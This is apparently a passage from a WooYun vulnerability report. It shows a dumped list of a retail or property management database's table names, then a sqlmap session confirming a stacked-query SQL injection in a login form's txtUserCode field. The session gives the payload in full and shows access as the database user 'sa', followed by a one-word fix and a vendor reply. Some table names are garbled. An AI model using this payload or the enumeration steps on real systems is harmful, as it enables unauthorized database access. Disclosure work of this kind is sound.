| ConFormulaPOxtm |
| ConPvertimeBill |
| ConShopBrand |
| ConShopUnit |
| ConShpp |
| ConTerminateBill |
| ConUnionMod |
| Contents |
| Contract |
| ContractInfo_ttx |
| ContractRef |
| ContractRental |
| ContractType |
| Counter |
| CreditSevel |
| CrmArea |
| CurExRate |
| CurrencyType |
| CustBrand |
| CustContact |
| CustContact20141008 |
| CustLicense |
| CustOprInfo |
| CustPalaver |
| CustType |
| Customer |
| CustomerLog |
| DataTransLog |
| DecorateSubsidies |
| DepBal |
| DepBal20150409 |
| DepBalDel |
| DepBalDel20150409 |
| Depplus |
| Dept |
| DeptAuth |
| DeptType |
| DimDate |
| Distance |
| EduLevel |
| Email |
| ExTrans |
| Favor |
| FavorItem |
| Finance_SubjectCode |
| FloorInfo |
| Floors |
| FreeGiftTrans |
| FromRegional |
| Func |
| Gift |
| GiftActivityGift |
| GiftDetail |
| GiftHeader |
| GiftStock |
| GiftStockHistory |
| HdwType |
| InputBonus |
| InterestItem |
| InterestRate |
| InterfaceBankTransDet |
| InterfaceTransDet |
| InvAdj |
| InvAdjDet |
| InvCancel |
| InvDisc |
| InvDiscDet |
| InvoiceAdPara |
| InvoiceAreaPara |
| InvoiceCancel |
| InvoiceCheque |
| InvoiceDetail |
| InvoiceDetail20140919 |
| InvoiceDetail20140923 |
| InvoiceDetail20141102C |
| InvoiceDetail20141108 |
| InvoiceHeader |
| InvoiceHeader20140919 |
| InvoiceHeader20140923 |
| InvoiceHeader20141102 |
| InvoiceJVCancel |
| InvoiceJVDetail |
| InvoiceJVPara |
| InvoicePara |
| InvoiceParaPro |
| InvoicePay |
| InvoicePay20140919 |
| InvoicePay20141102 |
| InvoicePayDetail |
| InvoicePayDetail20140919 |
| InvoicePayDetail20141102 |
| InvoicePayDetail20150907 |
| InvoiceTemp |
| JobTitle |
| LCard |
| LCust |
| LastSignOff |
| LcMyField1 |
| LicenseType |
| LinkConShop |
| LinkConShopBrand |
| LinkContract |
| LinkShopRentalData |
| LinkTransSku |
| Location |
| MActivity |
| MDisplay |
| MInternet |
| MODE |
| MPrints |
| MRadio |
| MTV |
| Media |
| MediaM |
| MediaMContrast |
| MediaStore |
| MembActiveBonus |
| MembCard |
| MembCard160 |
| MembCardClass |
| MembMessContent |
| Member |
| MemberBonus |
| MemberBonusDetail |
| MemberIntegralReset |
| Mstatus |
| Nationality |
| OpenPageLog |
| OperMembHistory |
| OtherChargeAreaD |
| OtherChargeAreaH |
| OtherChargeD |
| OtherChargeH |
| OtherDefineRelation |
| OutStandHist |
| POSStatus |
| ParkingRevenue |
| PayIn |
| PayType |
| Payment |
| Paymut |
| PosIssue |
| PosSign |
| PosSvrInfo |
| PotCustBrand |
| PotCustContact |
| PotCustContact20140930 |
| PotCustLicense |
| PotCustOprInfo |
| PotCustomer |
| PotShop |
| PotShopAdBoard |
| PotShopArea |
| PotShopUnit |
| PreferGift |
| PreferMer |
| PrintSize |
| Prints |
| ProcessType |
| ProdRelation |
| PromotionDetail |
| PromotionHeader |
| Purhist |
| Race |
| Recreation |
| RedeemH |
| RentLevel |
| RentStandard |
| RentTypePara |
| Role |
| RoleAuth |
| SMSPara |
| SSurBal20141102 |
| SYN_CLIENTINFO |
| SYN_CLIENTLOG |
| SYN_CLIENTTASK |
| SYN_CLIENTTOKEN |
| SYN_CLIENTVERSION |
| SYN_COMMAND |
| SYN_DATASOURCE |
| SYN_PARSaRMARK |
| SYN_TABLES |
| SYN_TASKDEF |
| SYN_TASKGROUP |
| SYN_TRANSBATCH |
| SYN_TRANSDATA |
| SendSMS |
| ServerResource |
| ShopDiscountInfo |
| ShopHdw |
| ShopHdwUnitPrice |
| ShopType |
| ShopXML |
| Shop_View |
| SignPerson |
| SkuClass |
| SkuMaster |
| SolarData |
| SourceUype |
| Store |
| StoreBudget |
| StoreHistory |
| StoreLicense |
| StoreManageType |
| StoreMedia |
| StoreMediaM |
| StoreType |
| Subsidiary |
| SurBal |
| SurBalDel |
| SurBalDel20141102 |
| Surplus |
| Surplus20141102 |
| SysOprObjPara |
| TEMP2015 |
| TMenu |
| TaskProcessClass |
| Theme |
| TpUsr |
| TpadeDef |
| TradeRelation |
| TrafficArea |
| TrafficCounter |
| TrafficCounter1 |
| TrafficData |
| TrafficDoor |
| TrafficShopData |
| TransData_View |
| TransDetail |
| TransFooter |
| TransHeader |
| TransMedia |
| TransShopDay |
| TransShopMth |
| TransSku |
| TransSkuMedia |
| TransSkuMedia_view |
| TransTask |
| TransTaskResA |
| TransmitContract |
| TransmitInvoice |
| TransmitMarket |
| TransmitMarketMedia |
| TransmitSkuMaster |
| UV |
| UnitRent |
| UnitType |
| UploadingDateInfo |
| UserAuth |
| UserRole |
| Users |
| VContractMonthSales |
| VInvoiciInfo |
| V_ConShop |
| V_ConshopUnitInfo |
| V_InvoiceDetail |
| V_LeaseIofoy |
| Vie444 |
| Vie444 |
| VoukherType |
| WrkFlw |
| WrkFlwEntity |
| WrkFlwEntity20140926 |
| WrkFlwEntity20150818 |
| WrkFlwMailList |
| WrkFlwNode |
| XYEFT |
| AreaLevel |
| BrandLe複ele1C! |
| ChargeDetail |
| ConsumeInterest |
| Contnion |
| DeptBrand |
| FinancialType" |
| GiftActivity |
| Income ! |
| Internet |
| JHEFT |
| LinkTransSkuMedia |
| MemberBonusIndex |
| Menu |
| TransBatch |
| TransCare1 |
| TransTaskPlan |
| Unit |
| WrkFlwEntity20141013 |
| WrkFlwMail |
| conShopInfo_view |
| v_rece넁vable_detail! |
| Ƅ |
| authUser |
| contract_list |
| func20141126 |
| invoiceIntCancel |
| invoiceInterest |
| mode144 |
| modesk139 |
| modesk173 |
| modesk213 |
| shopusr_view |
| sk149 |
| sqlmapoutput |
| sysdiagrams |
| temp |
| transTime |
| transkuu0305 |
| transkuumedia0305 |
| v_Adj |
| v_ChargeDept |
| v_Formula |
| v_SumPaidAmt |
| v_curroutstand |
| v_paydetail9 |
| v_raleymedia |
| v_recqivable |
+--------------------------+
root@kali:~# sqlmap -r "/root/桌面/b.txt" --current-user
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151225}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:40:45
[15:40:45] [INFO] parsing HTTP request from '/root/桌面/b.txt'
[15:40:45] [WARNING] provided value for parameter '__LASTFOCUS' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[15:40:45] [WARNING] provided value for parameter '__EVENTTARGET' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[15:40:45] [WARNING] provided value for parameter '__EVENTARGUMENT' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[15:40:45] [INFO] resuming back-end DBMS 'microsoft sql server'
[15:40:45] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: txtUserCode (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: ScriptManager1=UpdatePanel1|Button1&txtUserCode=admin';WAITFOR DELAY '0:0:5'--&txtPassword=1&__LASTFOCUS=&__VIEWSTATE=/wEPDwUKMTQ4ODU0NzEyMA8WAh4ITGFuZ3VhZ2UFA0NIThYCAgMPZBYCAgMPZBYCZg9kFgICAw8PZBYCHgpvbmtleXByZXNzBQprZXljbGljaygpZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUHQnV0dG9uMdPyzBznIIJc55SY7v6+HnGRARNQ&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTTARGET=&__EVENTARGUMENT=&__ASYNCPOST=true&Button1.x=51&Button1.y=17
---
[15:40:45] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[15:40:45] [INFO] fetching current user
[15:40:45] [INFO] resumed: sa
current user: 'sa'

漏洞证明:

1.png


2.png

修复方案:

过滤。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-12-28 13:45

厂商回复:

分感谢 路人甲 提交的漏洞,感谢广大白帽子对网络安全做出的积极贡献,我司会尽快处理。

最新状态:

暂无